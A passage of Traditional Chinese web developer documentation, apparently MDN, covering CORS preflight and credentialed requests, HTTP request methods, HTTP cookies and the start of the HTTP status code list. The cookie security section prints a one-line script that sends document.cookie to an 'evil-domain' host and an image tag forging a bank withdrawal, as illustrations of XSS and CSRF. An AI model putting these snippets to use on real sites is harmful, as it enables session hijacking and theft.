**備註：** WebKit Nightly 與 Safari Technology Preview 對 `Accept`、`Accept-Language` (en-US) 及 `Content-Language` (en-US) 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 便會傳送預檢請求。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language、Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS 和 Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。

下面是一段會引起預檢請求的範例：

```js
var invocation = new XMLHttpRequest();
var url = 'http://bar.other/resources/post-here/';
var body = '<?xml version="1.0"?><person><name>Arun</name></person>';

function callOtherDomain(){
  if(invocation)
    {
      invocation.open('POST', url, true);
      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
      invocation.setRequestHeader('Content-Type', 'application/xml');
      invocation.onreadystatechange = handler;
      invocation.send(body);
    }
}

......
```

在這個例子中，第 3 行建立了一段 XML 內容資料並於第 8 行使用 `POST` 請求送出。而在第 9 行，設定了一個自定義的（非標準）之 HTTP 請求標頭（`X-PINGOTHER: pingpong`）。此標頭並非 HTTP/1.1 通訊協定的一部分，但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 `application/xml`，且設定了自定義標頭，故此請求為預檢請求。

![](/zh-TW/docs/Web/HTTP/CORS/preflight_correct.png)

我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為*預檢請求／回應*：
```

OPTIONS /resources/post-here/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
```

一旦預檢請求完成，真正的請求才會被送出：
```

POST /resources/post-here/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF-8
Referer: http://foo.example/examples/preflightInvocation.html
Content-Length: 55
Origin: http://foo.example
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0"?><person><name>Arun</name></person>

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain

[Some GZIP'd payload]
```

第 1 - 12 行屬於 `OPTIONS` (en-US) 方法的預檢請求，瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求，好讓伺服器回應是否允許後續送出實際（actual）請求。OPTIONS 是一個 HTTP/1.1 方法，這個方法用來確認來自伺服器進一步的資訊，重複執行不會造成任何影響，為一安全 (en-US)方法，不會造成資源更動。除了 OPTIONS 方法，有另外兩個送出的請求標頭（分別在第 10 及 11 行）：
```

Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
```

`Access-Control-Request-Method` (en-US) 標頭會告訴伺服器之後送出的實際（actual）請求會是 `POST` 方法。`Access-Control-Request-Headers` (en-US) 標頭則是通知伺服器實際（actual）請求會帶有一個自定義的 `X-PINGOTHER` 標頭。在這些資訊下，接著伺服器將會確定是否接受請求。

第 14 - 26 行屬於伺服器的回應，它說明了伺服器接受 `POST` 請求方法和 `X-PINGOTHER` 標頭。另外讓我們特別來看看 17 - 20 行：
```

Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
```

伺服器回應中的 `Access-Control-Allow-Methods` 標頭表示伺服器可以接受 `POST`、`GET` 和 `OPTIONS` 方法。請注意此標頭和 `Allow` (en-US) 十分相似，但它只在存取控制範圍下才有意義。

伺服器也回傳了 `Access-Control-Allow-Headers` 標頭及其值「`X-PINGOTHER, Content-Type`」，表示伺服器允許在實際（actual）請求中使用以上這兩個標頭。與 `Access-Control-Allow-Methods` 相同，`Access-Control-Allow-Headers` 也是用逗號分隔可接受的標頭名稱。

最後，`Access-Control-Max-Age` (en-US) 提供了本次預檢請求回應所可以快取的秒數。在此範例中，86400 秒即為 24 小時。請留意每一個瀏覽器都有預設的最大值 (en-US)，當 `Access-Control-Max-Age` 較預設值大時會優先採用預設值。

#### 預檢請求和重新導向

目前大多瀏覽器不支援預檢請求時的重新導向，如果預檢請求進行中發生重新導向，目前大多的瀏覽器會回報類似以下的錯誤訊息。

>
> The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight
>
>
>

>
> Request requires preflight, which is disallowed to follow cross-origin redirect
>
>
>

CORS 通訊協定最初要求此預檢請求重新導向的行為，但在隨後的修訂中即改為不要求使用。然而，大多數的瀏覽器尚未實作此變動，且仍舊依照原本的行為要求。

因此直到瀏覽器趕上規範之前，你可以使用下列一或兩種方法來解決這個限制：

* 變更伺服器端的行為以避免預檢以及／或是避免重新導向——假如你對被請求的伺服擁有控制權
* 變更請求為簡單請求，讓預檢不會發生

但若難以實施以上方法，仍有其他可行的方式：

1. 建立一個簡單請求來測定（使用 Fetch API 的 Response.url (en-US) 或 XHR.responseURL (en-US) 來測定預檢請求最終真正導向的 URL）。
2. 建立另一個請求（「真正的」請求）傳送至第一步自 Response.url (en-US) 或 XHR.responseURL (en-US) 所獲得的 URL。

然而，假如請求是由於存在 `Authorization` 標頭而觸發預檢，便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前，沒有其他方式能夠解決。

### 附帶身分驗證的請求

`XMLHttpRequest` 或 Fetch 在 CORS 中最有趣的功能為傳送基於 HTTP cookies 和 HTTP 認證（Authentication）資訊的「身分驗證（credentialed）」請求。預設情況下，在跨站 `XMLHttpRequest` 或 Fetch 呼叫時，瀏覽器**不會**送出身分驗證。必須要於 `XMLHttpRequest` 物件中或是在呼叫 `Request` (en-US) 建構式時設置一個特定的旗標。

在這個範例中，一個來自 `http://foo.example` 的內容發出了一個簡單的 GET 去請求一個 `http://bar.other` 的資源，且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript：

```js
var invocation = new XMLHttpRequest();
var url = "http://bar.other/resources/credentialed-content/";

function callOtherDomain() {
  if (invocation) {
    invocation.open("GET", url, true);
    invocation.withCredentials = true;
    invocation.onreadystatechange = handler;
    invocation.send();
  }
}
```

第 7 行秀出了一個於 `XMLHttpRequest` 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——`withCredentials`。在預設情況下，請求呼叫是不會有 Cookies 的。由於這是一個簡單 `GET` 請求，並不會進行預檢，但瀏覽器將會**拒絕**任何沒有 `Access-Control-Allow-Credentials` (en-US)`: true` 標頭值的回應，並且**不讓**呼叫的網站內容存取該回應。

![](/zh-TW/docs/Web/HTTP/CORS/cred-req-updated.png)

下面是一個簡單的客戶端與伺服器端之間的交換資訊：
```

GET /resources/access-control-with-credentials/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/credential.html
Origin: http://foo.example
Cookie: pageAccess=2

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
X-Powered-By: PHP/5.2.6
Access-Control-Allow-Origin: http://foo.example
Access-Control-Allow-Credentials: true
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

[text/plain payload]
```

雖然第 11 行包含了預定要給予 `http://bar.other` 來取得資源內容的 Cookie，但假如 bar.other 沒有於回應中帶有 `Access-Control-Allow-Credentials` (en-US)`: true` 標頭值（第 19 行），則回應將會被乎略且不提供給網站內容使用。

#### 身分驗證請求與萬用字元

在回應一個身分驗證請求時，伺服器**必須**於 `Access-Control-Allow-Origin` 標頭值中指定一個來源，而不是使用「`*`」萬用字元（wildcard）。

上方範例的請求標頭中包含了一個 `Cookie` 標頭，若 `Access-Control-Allow-Origin` 標頭為「\*」，則請求將會失敗。範例中的 `Access-Control-Allow-Origin` 標頭值為「`http://foo.example`」（一個實際的來源）而不是「\*」萬用字元，所以身分驗證證明內容被回傳予呼叫的網站內容中。

請注意上面範例中的 `Set-Cookie` 回應標頭也設定了另一個 cookie。萬一失敗，會拋出一個錯誤（取決於所使用的 API）。

#### 第三方 cookies

請注意，在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中，頁面載入自 `foo.example`，但第 22 行的 cookie 為 `bar.other` 所傳送，因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies，則 cookies 不會被保存。

HTTP 回應標頭
---------

這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。

### Access-Control-Allow-Origin

一個回應的資源可能擁有一個 `Access-Control-Allow-Origin` (en-US) 標頭，如以下的語法：
```

Access-Control-Allow-Origin: <origin> | *
```

`origin` 參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個**不帶有**身分驗證的請求，伺服器可以指定一個「\*」作為萬用字元（wildcard），從而允許任何來源存取資源。

舉例來說，要允許 `http://mozilla.org` 存取資源，你可以指定：
```

Access-Control-Allow-Origin: http://mozilla.org
```

如果伺服器指定了一個來源主機而不是「\*」，那也可能於不同回應的標頭中包含不同之來源，來向客戶端表示伺服器的回應會因請求標頭之 `Origin` 值而有所不同。

### Access-Control-Expose-Headers

`Access-Control-Expose-Headers` (en-US) 標頭表示伺服器允許瀏覽器存取回應標頭的白名單，如：
```

Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
```

這允許了瀏覽器能夠存取回應當中的 `X-My-Custom-Header` 以及 `X-Another-Custom-Header` 標頭。

### Access-Control-Max-Age

`Access-Control-Max-Age` (en-US) 標頭表示了預檢請求的結果可以被快取多長的時間，請參考上面的範例。
```

Access-Control-Max-Age: <delta-seconds>
```

`delta-seconds` 參數代表預檢請求之結果可以被快取的秒數。

### Access-Control-Allow-Credentials

`Access-Control-Allow-Credentials` (en-US) 標頭表示了當請求的 `credentials` 旗標為真時，是否要回應該請求。當用在預檢請求的回應中，那就是指示後續的實際請求可否附帶身分驗證。請注意，由於簡單的 `GET` 請求沒有預檢，所以如果一個簡單請求帶有身分驗證，同時假設此標頭沒有與資源一併回傳，則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。
```

Access-Control-Allow-Credentials: true
```

驗證請求在上面的討論當中。

### Access-Control-Allow-Methods

`Access-Control-Allow-Methods` (en-US) 標頭表示存取資源所允許的方法，用來回應預檢請求。上面已討論請求之預檢的條件。
```

Access-Control-Allow-Methods: <method>[, <method>]*
```

一個預檢請求的範例已在上面提供，其中包含了一個回傳此標頭予瀏覽器的例子。

### Access-Control-Allow-Headers

`Access-Control-Allow-Headers` (en-US) 標頭用在回傳予預檢請求的回應當中，以指定哪些 HTTP 標頭可以於實際請求中使用。
```

Access-Control-Allow-Headers: <field-name>[, <field-name>]*
```

HTTP 請求標頭
---------

這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定，開發者使用跨站 `XMLHttpRequest` 時則不須於程式中設定任何的跨來源資源共用請求標頭。

### Origin

`Origin` (en-US) 標頭表示了跨站存取請求或預檢請求的來源。
```

Origin: <origin>
```

其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊，僅有伺服器名稱。

**備註：** `origin` 標頭可設定為空字串；這對不是真實位置的情況來說相當有用，例如來源為一個 `data` URL 時。

請注意在任何存取控制請求中，`Origin` (en-US) 標頭**永遠**都要送出。

### Access-Control-Request-Method

`Access-Control-Request-Method` (en-US) 標頭用在發出的預檢請求中，告訴伺服器後續實際（actual）請求所用的 HTTP 方法。
```

Access-Control-Request-Method: <method>
```

此標頭的相關範例可參考上方說明。

### Access-Control-Request-Headers

`Access-Control-Request-Headers` (en-US) 標頭用在發出的預檢請求中，告訴伺服器端後續實際（actual）請求所帶的 HTTP 標頭。
```

Access-Control-Request-Headers: <field-name>[, <field-name>]*
```

此標頭的相關範例可參考上方說明。

規範
--

| Specification |
| --- |
| Fetch Standard # http-access-control-allow-origin |

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### 相容性備註

* IE8 和 IE9 支援 CORS 透過 XDomainRequest 物件，IE10 開始則完全正常支援。
* Firefox 3.5 引進支援跨站 XMLHttpRequests 與 Web Fonts，較舊版本上某些請求會受到限制。Firefox 7 引進支援 WebGL 紋理的跨站 HTTP 請求，而 Firefox 9 新增支援使用 `drawImage` 方法將圖形繪製於 canvas 中。
參見
--

* Code Samples Showing `XMLHttpRequest` and Cross-Origin Resource Sharing
* Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)
* Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)
* Cross-Origin Resource Sharing specification
* `XMLHttpRequest`
* Fetch API
* Using CORS with All (Modern) Browsers
* Using CORS - HTML5 Rocks


HTTP 請求方法 - HTTP

HTTP 請求方法
=========

HTTP 定義了一組能令給定資源，執行特定操作的**請求方法**（request methods）。他們儘管屬於名詞，但也能稱為 *HTTP 動詞*。每個方法都有不同的語意，不過也有些共享的相通功能，像是safe (en-US)、idempotent (en-US)、cacheable。

`GET`

`GET` 方法請求展示指定資源。使用 `GET` 的請求只應用於取得資料。

`HEAD` (en-US)

`HEAD` 方法請求與 `GET` 方法相同的回應，但它沒有回應主體（response body）。

`POST` (en-US)

`POST` 方法用於提交指定資源的實體，通常會改變伺服器的狀態或副作用（side effect）。

`PUT` (en-US)

`PUT` 方法會取代指定資源所酬載請求（request payload）的所有表現。

`DELETE` (en-US)

`DELETE` 方法會刪除指定資源.

`CONNECT`

`CONNECT` 方法會和指定資源標明的伺服器之間，建立隧道（tunnel）。

`OPTIONS` (en-US)

`OPTIONS` 方法描述指定資源的溝通方法（communication option）。

`TRACE` (en-US)

`TRACE` 方法會與指定資源標明的伺服器之間，執行迴路返回測試（loop-back test）。

`PATCH` (en-US)

`PATCH` 方法套用指定資源的部份修改。

規範
--

| Specification |
| --- |
| HTTP Semantics # CONNECT |
| HTTP Semantics # DELETE |
| HTTP Semantics # GET |
| HTTP Semantics # HEAD |
| HTTP Semantics # OPTIONS |
| HTTP Semantics # POST |
| HTTP Semantics # PUT |
| HTTP Semantics # TRACE |

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

參見
--

* HTTP 標頭 (en-US)


HTTP cookies - HTTP

HTTP cookies
============

*HTTP cookie*（web cookie、browser cookie）為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說，它記住了無狀態（stateless） (en-US)HTTP 協議的有狀態資訊。

Cookies 主要用於三個目的：

Session 管理

帳號登入、購物車、遊戲分數，或任何其他伺服器應該記住的資訊

個人化

使用者設定、佈景主題，以及其他設定

追蹤

記錄並分析使用者行為

Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的，現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去，所以可能會影響效能（尤其是行動裝置的資料連線）。現代客戶端的 storage APIs 為 Web storage API (en-US) （`localStorage` 和 `sessionStorage`）以及 IndexedDB。

**備註：** 要檢視儲存的 cookies（以及其他網頁可以使用的儲存資料），你可以開啟開發者工具中的儲存檢示器（Storage Inspector） (en-US)並自儲存樹（storage tree）選擇 Cookies。

建立 cookies
----------

收到一個 HTTP 請求時，伺服器可以傳送一個 `Set-Cookie` (en-US) 的標頭和回應。Cookie 通常存於瀏覽器中，並隨著請求被放在`Cookie` HTTP 標頭內，傳給同個伺服器。可以註明 Cookie 的有效或終止時間，超過後 Cookie 將不再發送。此外，也可以限制 Cookie 不傳送到特定的網域或路徑。

### `Set-Cookie` 及 `Cookie` 標頭

`Set-Cookie` (en-US) HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定：
```

Set-Cookie: <cookie-name>=<cookie-value>
```

這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。

**備註：** 以下是如何在不同的伺服器端應用程式中，使用 `Set-Cookie` 標頭：

* PHP
* Node.JS
* Python
* Ruby on Rails
```

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

現在隨著每個請求，瀏覽器會使用 `Cookie` 標頭將所有先前儲存的 cookies 傳給伺服器。
```

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

### Session cookies

以上創建的 cookie 為 *session cookie*：當客戶端關閉時即被刪除，因為它並沒有註明過期 `Expires` 或可維持的最大時間 `Max-Age`。不過網頁瀏覽器可使用 **session restoring**，讓 session cookies 永久保存，就像瀏覽器從來沒關閉。

### 常駐 cookies

常駐 cookies 不會在客戶關閉後到期，而是在一個特定的日期 (`Expires`) 或一個標明的時間長度後（`Max-Age`）。
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

**備註：** 當到期日被設定後，時間與日期即為相對於用戶端設定 cookie 的時間，而非伺服器。

### `Secure` 以及 `HttpOnly` cookies

Secure cookie 只有在以加密的請求透過 HTTPS 協議時，傳送給伺服器。但即便是 `Secure` ，敏感的資訊絕對不該存在 cookies 內，因為他們本質上是不安全的，這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始，不安全的網站（`http:`）就不能以 `Secure` 的指示設定 cookies。

為了避免跨站腳本攻擊 (XSS (en-US))，JavaScript 的`Document.cookie` (en-US) API 無法取得 `HttpOnly` cookies；他們只傳送到伺服器。舉例來說，不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時，就應該立 `HttpOnly` 的旗幟。
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### Cookies 的作用範圍

`Domain` 及 `Path` 的指示定義了 cookie 的作用範圍： cookies 應該被送到哪些 URLs 。

`Domain` 註明了受允許的 hosts 能接收 cookie。若無註明，則預設給當前文件位置的 host (en-US)**，不包含 subdomain。** 若 `Domain` *有被註明*，則 subdomains 總是被包含。

舉例來說，當設定 `Domain=mozilla.org` 後，在像 `developer.mozilla.org` 之類的 subdomains 中，cookies 都被包含在內。

`Path` 指出一個必定存在於請求 URL 中的 URL 路徑，使 `Cookie` 標頭能被傳出。%x2F（「/」）字元是資料夾分隔符號，子資料夾也同樣會被匹配。

例如，當設定 `Path=/docs` 後，以下的路徑皆會匹配：

* `/docs`
* `/docs/Web/`
* `/docs/Web/HTTP`
### `SameSite` cookies
實驗性質

`SameSite` 讓伺服器要求 cookie 不應以跨站請求的方式寄送，某種程度上避免了跨站請求偽造的攻擊（CSRF）。`SameSite` cookies 目前仍在實驗階段，尚未被所有的瀏覽器支援。

### JavaScript 使用 `Document.cookie` 存取

新的 cookies 亦可經由 JavaScript 的 `Document.cookie` (en-US) 屬性生成，且若沒有立 `HttpOnly` 旗幟，已存在的 cookies 可以透過 JavaScript 取得。

```js
document.cookie = "yummy\_cookie=choco";
document.cookie = "tasty\_cookie=strawberry";
console.log(document.cookie);
// logs "yummy\_cookie=choco; tasty\_cookie=strawberry"
```

請注意以下安全性章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。

安全性
---

**備註：** 機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送，因為整個機制的本質是不安全的。

### Session hijacking 以及 XSS

Cookies 常用於網頁應用程式中，識別使用者與其 authenticated session，因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程（Social Engineering），或利用應用程式中的 XSS (en-US) 漏洞。

```js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

Cookie 中的 `HttpOnly` 屬性，能藉由防止透過 JavaScript 取得 cookie 內容，來減少此類型的攻擊。

### Cross-site request forgery (CSRF)

維基百科為 CSRF 舉了一個好例子。假設在一個未經過濾的對話或論壇中，某人插入了一個並非真實圖片，而是對你銀行伺服器請求領錢的 image：

```html
<img
 src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
```

現在如果你的銀行帳戶仍在登入狀態中，你的 cookies 仍然有效，並且沒有其他的驗證方式，當你載入包含此圖片的 HTML 同時，你的錢即會被轉出。以下是一些避免此情況發生的技術：

* Input filtering 和 XSS (en-US) 一樣是重要的。
* 做任何敏感的動作前，都應該要求使用者確認。
* 用於敏感動作的 Cookies 都只應該有短時間的生命週期。
* 更多防範的技巧，參見 OWASP CSRF prevention cheat sheet。
追蹤及隱私
-----

### 第三方 cookies

Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同，cookies 即為*第一方（first-party）cookie*，不同則為*第三方（third-party）cookie*。第一方 cookies 只被送到設定他們的伺服器，但一個網頁可能含有存在其他網域伺服器的圖片或組件（像橫幅廣告）。透過這些第三方組件傳送的 cookies 便是第三方 cookies，經常被用於廣告和網頁上的追蹤。參見 Google 常用的 cookies 種類。大部分的瀏覽器預設允許第三方 cookies，但也有些可以阻擋他們的 add-on（例如 EFF 的 Privacy Badger）。

若沒有事先告訴消費者第三方 cookies 的存在，當消費者發現你使用 cookie 時，對你的信任將會受損。因此，公開表明 cookie 的使用（像在隱私權條款中）將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 cookie statement。

### Do-Not-Track

對於 cookie 的使用並沒有法律上或技術上的規定，但可利用 `DNT` 標頭，指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見`DNT` 標頭以獲得更多資訊。

### EU cookie directive

歐洲議會在 Directive 2009/136/EC 中定義了歐盟的 cookies 規定，並於 2011 年 5 月 25 日生效。此指示本身並非法律，而是給歐盟會員國要作為法律，需符合之規定的指示。實際的法條可因國制宜。

簡而言之，EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前，都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。

參見維基百科上此章節，並查詢國家的法律以取得最新與最精確的資訊。

### Zombie cookies and Evercookies

Zombie cookies 或「Evercookies」是一個更激進的手段，刻意讓 cookies 在被刪除後重新創造，使其很難被永遠的刪除。這些 cookies 使用 Web storage API (en-US)、Flash Local Shared Objects 和其他的技術，使得當他們被偵測不存在時，就會立刻重新創造。

* Evercookie by Samy Kamkar
* 維基百科上的 Zombie cookies
參見
--

* `Set-Cookie` (en-US)
* `Cookie`
* `Document.cookie` (en-US)
* `Navigator.cookieEnabled` (en-US)
* Inspecting cookies using the Storage Inspector (en-US)
* Cookie specification: RFC 6265
* Nicholas Zakas article on cookies
* Nicholas Zakas article on cookies and security
* HTTP cookie on Wikipedia


HTTP 狀態碼 - HTTP

HTTP 狀態碼
========

HTTP 狀態碼表明一個 HTTP 要求是否已經被完成。回應分為五種：

1. 資訊回應 (Informational responses, `100`–`199`),
2. 成功回應 (Successful responses, `200`–`299`),
3. 重定向 (Redirects, `300`–`399`),
4. 用戶端錯誤 (Client errors, `400`–`499`),
5. 伺服器端錯誤 (Server errors, `500`–`599`).

以下的狀態碼定義在 section 10 of RFC 2616 中。你可以在 RFC 7231 查看更新過的規範。

**備註：** 如果你收到任何不在清單內的回應，那很可能伺服器自行軟體實作的非標準規範。

資訊回應
----

`100 Continue`

此臨時回應表明，目前為止的一切完好，而用戶端應當繼續完成請求、或是在已完成請求的情況下，忽略此資訊。

`101 Switching Protocol`

此狀態碼乃為用戶端 `Upgrade` (en-US) 請求標頭發送之回應、且表明伺服器亦切換中。

`102 Processing` (en-US) (WebDAV (en-US))

此狀態碼表明伺服器收到並處理請求中，但目前未有回應。

`103 Early Hints` (en-US)

此狀態碼主要與 `Link` (en-US) 標頭有關：它能讓用戶代理（user agent）能在伺服器準備回應前能 preloading (en-US) 資源。

成功回應
----

`200 OK`

 請求成功。成功的意義依照 HTTP 方法而定：
 GET：資源成功獲取並於訊息主體中發送。
 HEAD：entity 標頭已於訊息主體中。
 POST：已傳送訊息主體中的 resource describing the result of the action。
 TRACE：伺服器已接收到訊息主體內含的請求訊息。

`201 Created`

請求成功且新的資源成功被創建，通常用於 POST 或一些 PUT 請求後的回應。

`202 Accepted`

此請求已經被接受但尚未處理。此狀態為非承諾性，代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初目的為外部程序或其他伺服器處理請求的情況，或用於批次處理中。

`203 Non-Authoritative Information`

此回應碼表示回傳的中介資料集與並非與原始伺服器上的有效確定集合完全相同，而是來自本地或第三方的副本。除此情況外，200 OK 回應碼應該被優先使用。

`204 No Content`

There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.

`205 Reset Content`

This response code is sent after accomplishing request to tell user agent reset document view which sent this request.

`206 Partial Content`

This response code is used because of range header sent by the client to separate download into multiple streams.

`207 Multi-Status` (en-US) (WebDAV (en-US))

A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.

`208 Already Reported` (en-US) (WebDAV (en-US))

Used inside a `<dav:propstat>` response element to avoid repeatedly enumerating the internal members of multiple bindings to the same collection.

`226 IM Used` (en-US) (HTTP Delta encoding)

The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.

重定向訊息
-----

`300 Multiple Choice`

請求擁有一個以上的回應。用戶代理或使用者應該從中選一。不過，並沒有標準的選擇方案。

`301 Moved Permanently`

此回應碼的意思是，請求資源的 URI 已被改變。有時候，會在回應內給予新的 URI。

`302 Found` (en-US)

This response code means that URI of requested resource has been changed *temporarily*. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.

`303 See Other` (en-US)

Server sent this response to directing client to get requested resource to another URI with an GET request.

`304 Not Modified` (en-US)

This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.

`305 Use Proxy`
已棄用

在舊版本的 HTTP 規範中，表示請求資源必須透過代理存取。基於對代理的頻內設置 (in-band configuration) 相關的安全考量，該狀態碼已棄用。

`306 unused`

該狀態碼已不再被使用，僅被保留。該狀態碼曾在先前得的 HTTP 1.1 規範中被使用。

`307 Temporary Redirect` (en-US)

伺服器發送此回應來使客戶端保持請求方法不變向新的地址發出請求。 與 `302 Found` 相同，差別在於客戶端不許變更請求方法。例如，應使用另一個 `POST` 請求來重複發送 `POST` 請求。

`308 Permanent Redirect` (en-US)

This means that the resource is now permanently located at another URI, specified by the `Location:` HTTP Response header. This has the same semantics as the `301 Moved Permanently` HTTP response code, with the exception that the user agent *must not* change the HTTP method used: if a `POST` was used in the first request, a `POST` must be used in the second request.

用戶端錯誤回應
-------

`400 Bad Request` (en-US)

此回應意味伺服器因為收到無效語法，而無法理解請求。

`401 Unauthorized` (en-US)

需要授權以回應請求。它有點像 403，但這裡的授權，是有可能辦到的。

`402 Payment Required` (en-US)
實驗性質

此回應碼留作未來使用。一開始此碼旨在用於數位交易系統，然而，目前極少被使用，且不存在標準或慣例。

`403 Forbidden`

用戶端並無訪問權限，例如未被授權，所以伺服器拒絕給予應有的回應。不同於 401，伺服端知道用戶端的身份。

`404 Not Found`

伺服器找不到請求的資源。因為在網路上它很常出現，這回應碼也許最為人所悉。

`405 Method Not Allowed` (en-US)

伺服器理解此請求方法，但它被禁用或不可用。有兩個強制性方法：`GET` 與 `HEAD`，永遠不該被禁止、也不該回傳此錯誤碼。

`406 Not Acceptable` (en-US)

This response is sent when the web server, after performing server-driven content negotiation (en-US), doesn't find any content following the criteria given by the user agent.

`407 Proxy Authentication Required` (en-US)

類似於 401，但需要被代理伺服器驗證。.

